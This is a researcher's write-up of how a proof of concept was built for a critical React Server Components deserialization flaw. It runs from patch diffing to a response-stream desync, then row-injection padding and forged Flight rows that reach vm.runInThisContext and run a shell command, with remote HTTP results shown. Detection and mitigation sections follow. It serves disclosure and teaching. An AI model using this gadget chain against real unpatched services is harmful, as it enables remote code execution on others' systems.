This is the first post in a new section of the site. The idea is simple: instead of only writing up what a bug is, I want to write up how the PoC got built — the lab, the dead ends, the byte arithmetic, the part where you stare at a hexdump for twenty minutes.
The subject is GHSA-xqc2-xf4c-x3h3, a critical advisory in React Server
Components — CVSS v4 9.5. Affects react-server-dom-webpack,
react-server-dom-turbopack and react-server-dom-parcel on 19.0.0–19.0.8,
19.1.0–19.1.9, 19.2.0–19.2.8 and 19.3.0. Fixed in 19.0.9, 19.1.10, 19.2.9 and
19.3.1.
And the entire technical description you get is the trigger condition: it needs a response that transports multiple typed arrays plus an attacker-controlled value. That is it. No bad line, no PoC, no CVE at the time I looked.
So everything below was derived from the 19.2.8 → 19.2.9 diff and then confirmed by running it. The finished repo is two commands:
npm run setup # installs 19.2.8 and 19.2.9 into isolated node_modules
npm run poc
react-server-dom-webpack 19.2.8 code executed: true
react-server-dom-webpack 19.2.9 code executed: false
PoC reproduced.
Here is how I got there.
The plan
Before writing any code I wrote down the order of work, because PoC building goes sideways fast if you start by guessing at exploits:
- Get both versions installed side by side, isolated from each other.
- Diff the patch and read it until I can say the bug out loud in one sentence.
- Write a reader for whatever the protocol puts on the wire.
- Build a control — the benign case — and prove it is healthy.
- Break the control with one single change and compare the bytes.
- Turn the corruption into something an attacker controls.
- Turn attacker control into code execution.
- Prove the patched version stops it, and say what it does not stop.
- Prove it over the network, not just in one process.
If you only take one thing from this post, take step 4. Every PoC I have ever had bounced back was missing a control.
Step 1 - two Reacts in one folder
RSC is two halves that must not meet. The renderer runs with Node’s
react-server export condition, the consumer must not have it. A real
deployment is arranged exactly that way, and if you collapse them into one
process you will spend an hour debugging React instead of the bug.
So the lab is two isolated dependency trees:
env/vulnerable/ node_modules @ 19.2.8 + load-server.mjs / load-client.mjs
env/patched/ node_modules @ 19.2.9 + load-server.mjs / load-client.mjs
Each one is just a package.json with pinned versions:
{
"name": "ghsa-xqc2-env-vulnerable",
"private": true,
"type": "module",
"dependencies": {
"react": "19.2.8",
"react-dom": "19.2.8",
"react-server-dom-webpack": "19.2.8"
}
}
npm --prefix env/vulnerable install --legacy-peer-deps --no-audit --no-fund
npm --prefix env/patched install --legacy-peer-deps --no-audit --no-fund
--prefix is the useful bit. No workspaces, no hoisting, no npm deciding that
two versions of React can share a tree. Two folders, two realities, and a loader
in each:
// env/vulnerable/load-server.mjs - loaded under `node --conditions=react-server`
import {AsyncLocalStorage} from 'node:async_hooks';
globalThis.AsyncLocalStorage ??= AsyncLocalStorage;
import * as ReactServerDOMServer from 'react-server-dom-webpack/server.node';
The consumer side needs two globals or it throws immediately:
// env/vulnerable/load-client.mjs - loaded under the DEFAULT conditions
globalThis.__webpack_require__ ??= id => require(id);
globalThis.__webpack_chunk_load__ ??= () => Promise.resolve();
const ReactServerDOMClient = await import('react-server-dom-webpack/client.edge');
Worth being honest about this shim, because it is the thing a reviewer will
poke at: react-server-dom-webpack/client cannot run without
__webpack_require__ and __webpack_chunk_load__ — they are how it loads
client references, and it throws the moment one is missing. So every real
consumer has them. Mine models a webpack server bundle (Next.js’s node
target), where Node core modules are emitted as externals that delegate to
require. The exploit does not depend on that shape. It depends on a forged
chunk reaching __webpack_require__ without the manifest being consulted,
which is a different claim entirely.
Step 2 - diff the patch, properly
This is the part I want to spell out slowly, because “diff the patch” is advice everyone repeats and almost nobody shows.
Do not start on GitHub. Start with the artefact that actually runs on
people’s machines — the npm tarball. npm pack downloads it without installing
anything and without running install scripts:
mkdir -p /tmp/rsc-diff && cd /tmp/rsc-diff
npm pack react-server-dom-webpack@19.2.8 react-server-dom-webpack@19.2.9
tar -xzf react-server-dom-webpack-19.2.8.tgz && mv package v19.2.8
tar -xzf react-server-dom-webpack-19.2.9.tgz && mv package v19.2.9
Every npm tarball extracts to a directory literally called package, so extract
one, rename it, then extract the next. Getting that wrong and silently
overwriting is a rite of passage.
Now the first question is not “what changed” but “where did it change”:
diff -rq v19.2.8 v19.2.9
differ: cjs/react-server-dom-webpack-client.browser.development.js
differ: cjs/react-server-dom-webpack-client.browser.production.js
differ: cjs/react-server-dom-webpack-client.edge.development.js
differ: cjs/react-server-dom-webpack-client.edge.production.js
differ: cjs/react-server-dom-webpack-client.node.development.js
differ: cjs/react-server-dom-webpack-client.node.production.js
differ: cjs/react-server-dom-webpack-server.browser.development.js
differ: cjs/react-server-dom-webpack-server.browser.production.js
differ: cjs/react-server-dom-webpack-server.edge.development.js
differ: cjs/react-server-dom-webpack-server.edge.production.js
differ: cjs/react-server-dom-webpack-server.node.development.js
differ: cjs/react-server-dom-webpack-server.node.production.js
differ: package.json
-r is recursive, -q means “just tell me which files differ”. Twelve builds
and a version bump — which is 2 halves (server, client) × 3 environments
(browser, edge, node) × 2 builds (development, production). Same change, twelve
times. So there are really only two files to read, and you want the
.development.js ones, because the production builds are minified and will
waste your afternoon.
A detail that matters: both halves changed. Server and client. That already tells you the fix is a root cause plus some defence in depth, which usually means the chain crosses the wire.
diff -u v19.2.8/cjs/react-server-dom-webpack-server.node.development.js \
v19.2.9/cjs/react-server-dom-webpack-server.node.development.js | less
368 changed lines in the server build, 121 in the client build. Most of it is unrelated hardening shipped in the same release — which is normal, and is why you read the diff instead of trusting a changelog. Two hunks are the advisory.
Hunk one, in the function that writes a chunk to the destination (trimmed in two places — the unchanged copy-into-the-staging-view branch, and the tail of the second warning):
- } else
- 0 !== chunk.byteLength &&
- (2048 < chunk.byteLength
- ? ( ... writeToDestination(destination, chunk))
- : ( ... copy into currentView ... ));
+ } else if (0 === chunk.byteLength)
+ if (supportsArrayBufferDetached) {
+ if (chunk.buffer.detached)
+ throw Error(
+ "Cannot transport a detached buffer. This usually happens when trying to transport multiple buffer-spanning views on the same underyling buffer. Either reuse the exact same view by identity or copy the underlying buffer manually via `view.slice()`."
+ );
+ } else
+ didWarnAboutMissingArrayBufferDetached ||
+ (console.error(
+ "React encountered an empty buffer when writing in an environment that does not support ArrayBuffer.prototype.detached. This could be a security issue if the buffer was not actually empty. ..."
+ ),
Read that error message again. React’s own patch tells you the bug: multiple buffer-spanning views on the same underlying buffer. Typo and all. That one string collapsed the whole research problem into “make two views share an ArrayBuffer and watch what happens.”
Free tip from this: always grep a patch for new error strings. Developers explain the bug to their colleagues in the message they add to stop it.
Hunk two, in emitTypedArrayChunk, which is the actual root cause:
- typedArray = new Uint8Array(
- typedArray.buffer,
- typedArray.byteOffset,
- typedArray.byteLength
- );
- var binaryLength = typedArray.byteLength;
- id = id.toString(16) + ":" + tag + binaryLength.toString(16) + ",";
+ a: {
+ var view = new Uint8Array(
+ typedArray.buffer,
+ typedArray.byteOffset,
+ typedArray.byteLength
+ );
+ if (2048 < typedArray.byteLength) {
+ if (
+ 0 !== typedArray.byteOffset ||
+ typedArray.byteLength !== typedArray.buffer.byteLength ||
+ typedArray.buffer.resizable
+ ) {
+ typedArray = view.slice();
+ break a;
+ }
Before: hand React’s transport a bare view into whatever buffer the caller
owned. After: if the view does not span its whole buffer, slice() it — i.e.
copy it. The 2048 is React’s internal VIEW_SIZE; anything bigger is written
straight through instead of being copied into React’s own staging buffer.
So the sentence I could finally say out loud:
A typed array larger than 2048 bytes is handed to the byte stream as a view. A byte stream takes ownership of the whole ArrayBuffer behind anything it is given. If a second typed array in the same response is a view on that same buffer, it is now zero bytes long — and its length header is already on the wire.
Then the client side, same technique, five one-line hunks:
function createResolvedModelChunk(response, value) {
- return new ReactPromise("resolved_model", value, response);
+ return new ReactPromise(
+ "resolved_model",
+ value,
+ _defineProperty({}, RESPONSE_SYMBOL, response)
+ );
var resolvedModel = chunk.value,
- response = chunk.reason;
+ response = chunk.reason[RESPONSE_SYMBOL];
- function createModel(response, model) {
- return model;
+ function createModel(response, model, parentObject, key) {
+ return "then" === key && "function" === typeof model ? null : model;
function loadServerReference(response, metaData, parentObject, key) {
+ if ("then" === key) return null;
+ var id = metaData.id;
+ if ("string" !== typeof id) return null;
+ RESPONSE_SYMBOL = Symbol();
When a patch introduces a private Symbol() to hold something that used to
be stored in a plain property, the question to ask is: what was being confused
with what? The answer here: a resolved_model chunk kept the whole Response
object in its reason field, and the initializer trusted it. Hide it behind a
module-private Symbol and an object that merely looks like a chunk can no
longer supply a fake Response.
I did not know yet how an attacker would get an object into that position. But now I knew that if I ever could, it was game over — and I had a reason to go hunting for exactly that.
Step 3 - read the wire before you touch it
RSC payloads are not JSON. The format (React calls it Flight) is a sequence of rows, and there are two kinds:
<hex id> ":" [tag] <body> "\n" newline terminated
<hex id> ":" <tag> <hex byteLength> "," length prefixed, then exactly that many raw bytes
Length-prefixed rows are the interesting ones: their body is raw, unescaped bytes, and the only thing telling the client where the body ends is the number the server declared in the header.
I wrote ~160 lines (src/wire.mjs) that walk a buffer exactly the way React’s
own row parser does and return one record per row it believes it saw. That file
turned out to be the single most valuable thing in the repo. Not the exploit —
the reader. Every later step is “render it, dump it, parse it, look”.
If you are building your first PoC against a binary-ish protocol, write the parser first. You cannot debug bytes you cannot see.
Step 4 - the control, then one change
Now the “vulnerable application”. Important: nothing in it is adversarial. It is a server component result holding two binary blobs and one string that came from a user:
export function buildModel({first, second, note}) {
return {
attachmentA: first,
attachmentB: second,
userNote: note, // straight from the request, never interpreted
};
}
A gotcha that cost me time, and that matters if you are checking your own app
for exposure: a Node Buffer is not transported as binary at all.
JSON.stringify calls its toJSON() before React’s replacer ever sees it, so
it arrives as {type:'Buffer',data:[...]}. To get real binary transport an app
must hand React a plain Uint8Array view:
export function toPlainView(buf) {
return new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength);
}
That conversion is a view, not a copy — so it inherits whatever ArrayBuffer the Buffer was sitting in. The risky pattern writes itself.
I gave the app three sharing modes so the only difference between runs is one flag:
| mode | how the two views relate | expected |
|---|---|---|
separate |
two independently allocated Uint8Arrays |
control, healthy |
subarray |
one 6000-byte ArrayBuffer split in two | shared buffer |
pool |
two ordinary Buffer.allocUnsafe() out of Node’s pool slab |
shared buffer, realistic |
Run the control first:
1. Control: two typed arrays that each own their ArrayBuffer
shared ArrayBuffer: false | wire: 11101 bytes | views after render: 0/0 bytes
@ 0 :N newline got=18 1794270063605.3938
@ 21 1:obb8, declared=3000 got=3000 <3000xA>
@ 3028 2:obb8, declared=3000 got=3000 <3000xB>
@ 6035 3:T1388, declared=5000 got=5000 <5000xx>
@11043 0: newline got=55 {"attachmentA":"$1","attachmentB":"$2","userNote":"$3"}
=> every length-prefixed row's body is present. row 1: uniform fill, row 2: uniform fill
Read it like this: row 1 declares 0xbb8 = 3000 bytes and delivers 3000 bytes
of A. Row 2 delivers 3000 bytes of B. Row 3 is the user’s note, outlined
into a T row, 0x1388 = 5000 bytes. Row 0 at the end is the actual model,
referencing the others by $1, $2, $3. Healthy.
Now change one thing — the two views share a buffer:
2. Probe: the same response, but the two views share one ArrayBuffer
one 6000-byte ArrayBuffer split into two views
shared ArrayBuffer: true | wire: 8101 bytes (3000 fewer than the control) | views after render: 0/0 bytes, backing detached: true
@ 0 :N newline got=18 1794270063689.0762
@ 21 1:obb8, declared=3000 got=3000 <3000xA>
@ 3028 2:obb8, declared=3000 got=3000 3:T1388,<2992xN>
@ 6035 -20: newline got=55 {"attachmentA":"$1","attachmentB":"$2","userNote":"$3"}
=> row 2 declares 3000 bytes but the server wrote none.
Three things in that output are the whole bug:
- 3000 fewer bytes on the wire. Row 2’s body was never written.
backing detached: true. Writing view A transferred ownership of the shared ArrayBuffer to the stream, so view B became zero-length — but its header, declaring 3000 bytes, had already been queued.3:T1388,<2992xN>as row 2’s body. The client has nothing but the declared length to go by, so it reads 3000 bytes of whatever follows. What follows is the next row’s header and the start of the user’s note.
And look at that bogus row id, -20. That is not a real row. The parser
resynchronised in the middle of a value and read a chunk id out of someone’s
string. Once you see an impossible row id in an RSC payload, something upstream
has desynchronised the stream.
Here is the same moment in raw bytes, because it is more convincing than any diagram:
$ xxd -s 3008 -l 32 artifacts/02-probe.rsc
00000bc0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000bd0: 4141 4141 323a 6f62 6238 2c33 3a54 3133 AAAA2:obb8,3:T13
2:obb8, immediately followed by 3:T1388, — a length header with no body,
glued to the next header.
At this point I had a denial of service and nothing more. Worth stopping to notice: that alone is a finding. Any route that produces such a response is already broken for every visitor, with zero attacker input.
Step 5 - from corruption to attacker-controlled rows
The jump from “the stream is corrupt” to “the attacker writes protocol rows” is
one observation: React outlines any string of 1024 characters or more into
its own length-prefixed T row, where the bytes go out raw and unescaped —
quotes, newlines, everything.
Normally that is perfectly safe, because those bytes are only ever read as one
row’s body. The desync removes the containment. The client swallows
declaredLength bytes starting at row 2’s body, and if the attacker chooses the
length of their string, they choose where the parser wakes up — and it wakes
up inside their own bytes, which are then parsed as fresh rows.
So the padding is just arithmetic:
padding = droppedRowLength - len("<id>:T<hexlen>,")
With one wrinkle that is easy to miss: the header length depends on the hex width of the note’s byte length, which depends on the padding, which depends on the header length. So it iterates to a fixed point (eight rounds, in practice one or two).
Concretely, from the real run:
3. Craft the user-supplied string
note length 3827 bytes (>= 1024, so React outlines it into a raw T row)
padding 2993 bytes, so the client resyncs at note offset 2993
injected rows 3 Flight rows, 834 bytes
Check the arithmetic by hand — this is the part worth doing once with a pen:
- note id is
3, note length is 3827 =0xef3, so the header3:Tef3,is 7 bytes. 3000 - 7 = 2993bytes of padding.2993 + 834 = 3827, which is still three hex digits, so the fixed point holds.
And on the wire the swallowed region ends exactly on the first injected row:
@ 3028 2:obb8, declared=3000 got=3000 3:Tef3,<2993x.>
@ 6035 a: newline got=128 {"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_module","value...
@ 6166 b: newline got=693 {"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_model","value"...
@ 6862 3: newline got=4 "$b"
@ 6869 0: newline got=55 {"attachmentA":"$1","attachmentB":"$2","userNote":"$3"}
Row 2’s body starts at 3035 and runs 3000 bytes, which lands on 6035 — and 6035
is where row a begins. The attacker’s padding is literally the gap, and rows
a, b and 3 are now top-level rows of the response.
One more detail, and it is the nastiest one. Because the genuine T header was
swallowed, chunk id 3 was never filled by the server. So the attacker refills
it themselves with 3:"$b". Initializing the real root row then reaches the
attacker’s rows on its own, which means the application never has to read,
render or await the user’s value. It is enough that it travelled in the
response.
Step 6 - from rows to code execution
Now back to that RESPONSE_SYMBOL hunk from step 2. The way in is
getOutlinedModel, which unwraps anything that looks like a React lazy node by
reading _payload and treating it as one of React’s own internal chunk records:
while (typeof value === 'object' && value !== null &&
value.$$typeof === REACT_LAZY_TYPE) {
const referencedChunk = value._payload; // a plain object from the payload
switch (referencedChunk.status) {
case RESOLVED_MODEL: initializeModelChunk(referencedChunk); break;
case RESOLVED_MODULE: initializeModuleChunk(referencedChunk); break;
}
Nothing checks that the object came from React. And Symbol.for('react.lazy')
is reachable straight from the payload, because the $S symbol encoding puts no
restriction on the name: "$Sreact.lazy".
Two forged chunks are enough.
Row a — a fake resolved_module chunk. initializeModuleChunk calls
requireModule(chunk.value) with whatever metadata it finds, so
resolveClientReference and the consumer manifest — the only thing that
normally decides which modules a payload may reach — are skipped entirely:
a:{"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_module",
"value":["node:vm",[],"runInThisContext"],"_debugChunk":null}}
["moduleId", chunkIds, "exportName"] is the shape requireModule() expects.
One arbitrary __webpack_require__(id), one arbitrary export read. Row a is
now a reference to vm.runInThisContext.
Row b — a fake resolved_model chunk. This is the hunk from the diff. In
19.2.8:
const resolvedModel = chunk.value;
const response = chunk.reason; // attacker-controlled object
const value = JSON.parse(resolvedModel, response._fromJSON);
The forged chunk supplies both the reviver and the document it is applied
to. So point _fromJSON at row a, and put the payload in a JSON key —
because JSON.parse invokes a reviver as reviver(key, value, context), and
the key lands in the gadget’s first parameter:
b:{"$$typeof":"$Sreact.lazy","_payload":{"status":"resolved_model",
"value":"{\"<attacker source>\":{}}","reason":{"_fromJSON":"$a"},"_debugChunk":null}}
3:"$b"
Deserializing the response now calls vm.runInThisContext("<attacker source>", {})
in the consumer’s own realm.
Small practical note on the payload itself: it runs in the global context, where
there is no module-local require. process is a global though, and
process.getBuiltinModule hands out core modules from anywhere:
var fs = process.getBuiltinModule('node:fs');
var cp = process.getBuiltinModule('node:child_process');
fs.writeFileSync(markerPath, JSON.stringify({ /* ... */
user: os.userInfo().username,
shellOutput: cp.execSync('id', {encoding: 'utf8'}).trim()
}));
Writing a marker file plus the output of a spawned command is deliberate. A PoC that prints “pwned” proves nothing to a skeptical maintainer. Evidence that only the target process could have produced is much harder to argue with:
4. Consume it with the vulnerable client (19.2.8)
client version 19.2.8 (development)
root keys ["attachmentA","attachmentB"]
userNote undefined
CODE EXECUTED true
evidence written by the payload:
{
"proof": "arbitrary code executed inside the RSC consumer",
"pid": 19325,
"execPath": "/opt/homebrew/Cellar/node/26.11.1/bin/node",
"cwd": "/Users/rudra/development/poc/GHSA-xqc2-xf4c-x3h3",
"user": "rudra",
"host": "Rudras-Mac-mini.local",
"shellOutput": "uid=501(rudra) gid=20(staff) groups=20(staff),12(everyone),...",
"at": "2026-11-10T00:21:03.826Z"
}
Note userNote: undefined and root keys missing userNote entirely. The
application never used the attacker’s string. The code ran during
deserialization anyway.
Step 7 - prove the fix works, and be honest about it
Two separate checks, because the patch has two halves.
The patched server, same model, same malicious note:
5. Render the same model with the patched server (19.2.9)
wire: 9926 bytes | views after render: 3000/3000 bytes, backing detached: false
@ 3027 2:obb8, declared=3000 got=3000 <3000xB>
@ 6034 3:Tef3, declared=3827 got=3827 <2993x.>a:{"$$typeof":"$Sreact.lazy",...
=> both bodies are present
Both bodies present, nothing detached, and — the detail I like most — the attacker’s rows are still there, sitting harmlessly inside row 3’s body where they belong. The containment is back.
The patched client, fed the byte-identical malicious wire that just worked:
6. Feed the byte-identical malicious payload to the patched client (19.2.9)
client version 19.2.9 (development)
root keys ["attachmentA","attachmentB","userNote"]
userNote object{$$typeof,_payload}
CODE EXECUTED false
Now the honest part. I wrote a separate script that tests each client-side primitive in isolation against both versions, because “it’s fixed” and “that technique no longer works” are not the same claim:
| primitive | 19.2.8 | 19.2.9 |
|---|---|---|
property-path walk reaches the Function constructor |
works | works |
forged react.lazy node accepted as an internal chunk |
works | works |
forged resolved_module chunk bypasses the consumer manifest |
works | works |
forged resolved_model chunk supplies its own Response |
works | blocked |
a function parked on a then key |
works | blocked |
The lazy-node confusion and the resulting requireModule(<attacker metadata>)
manifest bypass still stand in 19.2.9. They are simply no longer reachable,
because the transport bug that let an attacker inject rows is gone. Anyone who
finds another route to Flight row injection gets an arbitrary
__webpack_require__ back.
Put that in the write-up. A PoC that overstates the fix is as unhelpful as one that overstates the bug.
Step 8 - then prove it over HTTP
Everything above runs in one process with files on disk. That is enough to prove a mechanism and nowhere near enough for a report. The question a defender asks is “can someone on the internet do this to my service”, so the lab has to answer that question literally.
Two complete stacks of the same app, differing only in the package version:
┌─────────────────────────┐ ┌──────────────────────────┐
attacker ─────▶│ web-vulnerable :3000 │─────▶│ rsc-vulnerable (internal)│
(HTTP only) │ SSR consumer, 19.2.8 │ │ renderer, 19.2.8 │
│ createFromReadableStream│ │ --conditions=react-server│
└─────────────────────────┘ └──────────────────────────┘
┌─────────────────────────┐ ┌──────────────────────────┐
│ web-patched :4000 │─────▶│ rsc-patched (internal)│
│ SSR consumer, 19.2.9 │ │ renderer, 19.2.9 │
└─────────────────────────┘ └──────────────────────────┘
One Dockerfile with a REACT_VERSION build arg, so the identical application
runs vulnerable or patched with nothing else changed. The app is an ordinary
attachment viewer: thumbnails by default, full-resolution attachments on
?full=1, both carved out of one decode buffer. It serves its RSC payload at
/rsc the way a real RSC app serves it to browsers.
The exploit script never imports React and never touches the target’s filesystem. It speaks HTTP only, in four steps:
- measure —
POST /rsc?full=1with a filler note, then read the framing off the response: which binary row was dropped, how many bytes it declared, and which chunk id carries the note; - craft — pad the note so the client resyncs exactly on the injected rows;
- fire — one
POST /?full=1with that note as the body; - verify — read back the evidence the payload left, through a directory bind-mounted out of the container, so the application needs no special endpoint for the PoC to check itself.
[0] GET / -> 200 (thumbnails, 1024 bytes each)
GET /?full=1 -> 500 (full attachments, 3000 bytes each)
[1] measured 9080 bytes of RSC payload from http://localhost:3000/rsc?full=1
@ 0 1:obb8, declared=3000 got=3000 <3000xA>
@ 3007 2:obb8, declared=3000 got=3000 3:T1770,<2992xN>
@ 6014 -20: newline got=55 {"attachmentA":"$1",…}
[2] crafted a 3773-character note: 2993 bytes of padding, then 3 injected rows
[3] POST http://localhost:3000/?full=1 -> 200 OK, 239 bytes of text/html
[4] CODE EXECUTED inside the web container:
{ "pid": 6, "cwd": "/srv", "user": "root", "host": "89790dda6ed2",
"shellOutput": "uid=0(root) gid=0(root) groups=0(root),1(bin),…" }
Two things to point at in that output. The exploit request returns 200 OK
with a normal HTML page — nothing in the response distinguishes it from any
other visit. And step [0] is the availability half of the same bug: on 19.2.8
the full-resolution route is already broken for everyone, with no attacker input
at all.
Against :4000 the same script reports:
@ 3007 2:obb8, declared=3000 got=3000 <3000xB>
=> every binary row carries its own bytes. The wire is sound, so there is
no resync point to aim at and nothing to inject into.
Ship an inert mode
If you hand a PoC to anyone else, give them a way to run it that proves the
finding without running code. Mine is --check: it measures the framing, then
injects a single row that does nothing but refill the note’s chunk id with a
random token. If that token comes back as the rendered note, the attacker’s
bytes were parsed as Flight rows — which is the finding:
node poc/remote.mjs --url http://localhost:3000 --check
[2] crafted a 3055-character note: 2993 bytes of padding, then 1 injected Flight row (inert probe)
[3] POST http://localhost:3000/?full=1 -> 200 OK
the token came back as the rendered note: row injection CONFIRMED
=> this target is exploitable. No code was compiled or run on it.
Point that at any host you own or are authorised to test. Just keep in mind it is the method, not a turnkey scanner: the route, the parameter and the chunk ids will all be different on a real framework.
Also: make exit status mean something. 0 when the expected result was
observed, 1 otherwise. That is what makes a PoC usable in CI by the team that
has to prove their upgrade worked.
The free DoS
The code-execution chain needs the shared buffer to be detachable. Node’s
Buffer pool slab is not, and 19.2.8 hands the raw view over anyway, so the
write throws and the whole render is lost:
Buffer.poolSize 65536 (pooled while <= 32768 bytes)
19.2.8 shared=true RENDER FAILED - 0 bytes delivered
ArrayBuffer is not detachable and could not be cloned.
19.2.9 shared=true rendered 6107 bytes
No attacker-controlled value involved at all. Every allocation below
Buffer.poolSize >>> 1 — every Buffer up to 32 KiB on current Node —
comes out of one shared 64 KiB slab. So any response transporting two ordinary
Buffers over 2048 bytes is affected. Two fs.readFile() results converted for
transport is enough.
This is the easier bug by a mile, and on an affected app it is probably already filed as “that page 500s with big attachments”.
Make it useful to whoever has to fix it
A PoC that only exploits is half a deliverable. The other half is: am I affected? Two separate questions there, and you need both.
Is a vulnerable runtime installed? Do not rely on
npm ls react-server-dom-webpack. On a Next.js app it happily prints (empty)
while the vulnerable code is still right there: Next.js precompiles React into
next/dist/compiled/, where a current release ships four vendored copies
plus the Flight runtime inlined into its next-server/*.runtime.*.js bundles. A
version check misses every one of them.
So key on code signatures, not version numbers:
| half | signature | why that one |
|---|---|---|
| server | the 'detached' property-name string |
hasOwnProperty.call(ArrayBuffer.prototype, 'detached') — the root-cause fix |
| client | the 'then' string literal |
the key === 'then' guards shipped with the fix |
Both are string literals, chosen because they survive a framework
re-bundling React. Identifier names do not — Next.js’s minifier renames
RESPONSE_SYMBOL — and neither do error messages, since Next.js keeps the
detach check but strips the "Cannot transport a detached buffer" text.
You can do the whole check with grep:
grep -rcE "[\"']detached[\"']" env/*/node_modules/react-server-dom-webpack/cjs/*server.node.development.js
env/vulnerable/.../react-server-dom-webpack-server.node.development.js:0
env/patched/.../react-server-dom-webpack-server.node.development.js:1
Zero means vulnerable. And if a framework vendors React, upgrade the
framework — bumping react alone does not replace its precompiled copy.
Does a response actually desynchronise? A vulnerable runtime is necessary but not sufficient; the app also has to transport two typed arrays over one ArrayBuffer with at least one over 2048 bytes. That is checkable read-only, from the framing alone, without knowing what the server meant to send: a declared length that runs past the end of the stream, a row body that starts with what is plainly the next row’s header, or trailing rows with impossible chunk ids.
One nuance that surprised me: following links finds almost nothing. When the
page body is a client component — which it usually is — navigation is built in
the browser, so it appears in neither the RSC payload nor the static HTML.
On one production Next.js site a link crawl found 2 routes on an app with
hundreds. Seed from the route list the app publishes itself instead:
robots.txt → Sitemap: → /sitemap.xml.
And the cheapest signals of all, with no tooling:
- Does any route return 5xx only when its binary content is large? That is the giveaway, and on an affected app it is often already a bug report.
- Grep your own code for typed arrays crossing the RSC boundary at all. No typed array in any response means no exposure, whatever version you run.
- Then ask whether an attacker-influenced string of 1024+ characters rides in the same response. Without one there is no injection, only the availability problem.
If upgrading has to wait, copy before transporting so every typed array owns its buffer:
// instead of handing React a view into a shared buffer
return {blob: new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength)};
// give it one that spans its own
return {blob: new Uint8Array(buf.buffer, buf.byteOffset, buf.byteLength).slice()};
.slice() is exactly what the patched React does for you.
What I’d tell anyone building their first PoC
- Build the control first. “Here is the benign case working, here is the one change, here is it breaking” is the entire argument. Without it you are claiming a crash.
- Change one variable at a time. Three sharing modes behind one flag, two versions behind one path. Every run differs from the last in exactly one way.
- Write the parser before the exploit. You cannot debug bytes you cannot read, and you will be reading them for hours.
- Dump every intermediate to disk. Numbered files —
01-control.rsc,02-probe.rsc,03-note.txt,04-exploit.rsc. When step 6 misbehaves you want toxxdstep 2 again, not re-run everything. - Grep the patch for new error strings. Maintainers describe the bug in the message they add to prevent it. This one even shipped the typo.
- Ask what a new
Symbolwas hiding. Patches that move data behind a private key are telling you two things used to be confusable. - Make the result machine-checkable. Meaningful exit codes, and an inert mode that proves the finding without executing anything.
- Say what the fix does not fix. It is more useful than overstating it, and it is the part other researchers will pick up.
- Keep it scoped. Mine targets only the two versions it installs locally,
writes only inside
artifacts/, and has no network or persistence behaviour of its own. Run things like this against systems you own or are authorised to test.
Repo layout, for reference
env/vulnerable/ isolated node_modules @ 19.2.8 + load-server/load-client
env/patched/ isolated node_modules @ 19.2.9 + load-server/load-client
src/app.mjs the "vulnerable application" and its three sharing modes
src/wire.mjs the Flight row reader - replays how the client parses
src/payload.mjs payload construction, gadget selection, byte alignment
poc/render.mjs server half - runs under `node --conditions=react-server`
poc/consume.mjs client half - runs under the default conditions
poc/run.mjs driver for the full matrix
poc/primitives.mjs each client-side primitive in isolation, both versions
poc/dos.mjs the pooled-Buffer denial of service
poc/detect.mjs triage: scan runtimes, check a response, crawl an origin
poc/remote.mjs the remote exploit - HTTP only, no React, no target files
app/web-server.mjs containerised SSR consumer - the process that gets owned
docker/Dockerfile one image, REACT_VERSION picks 19.2.8 or 19.2.9
compose.yaml both stacks, :3000 vulnerable / :4000 patched
Advisory: GHSA-xqc2-xf4c-x3h3.
Patched in 19.0.9, 19.1.10, 19.2.9, 19.3.1 — and if your framework
vendors React, upgrade the framework.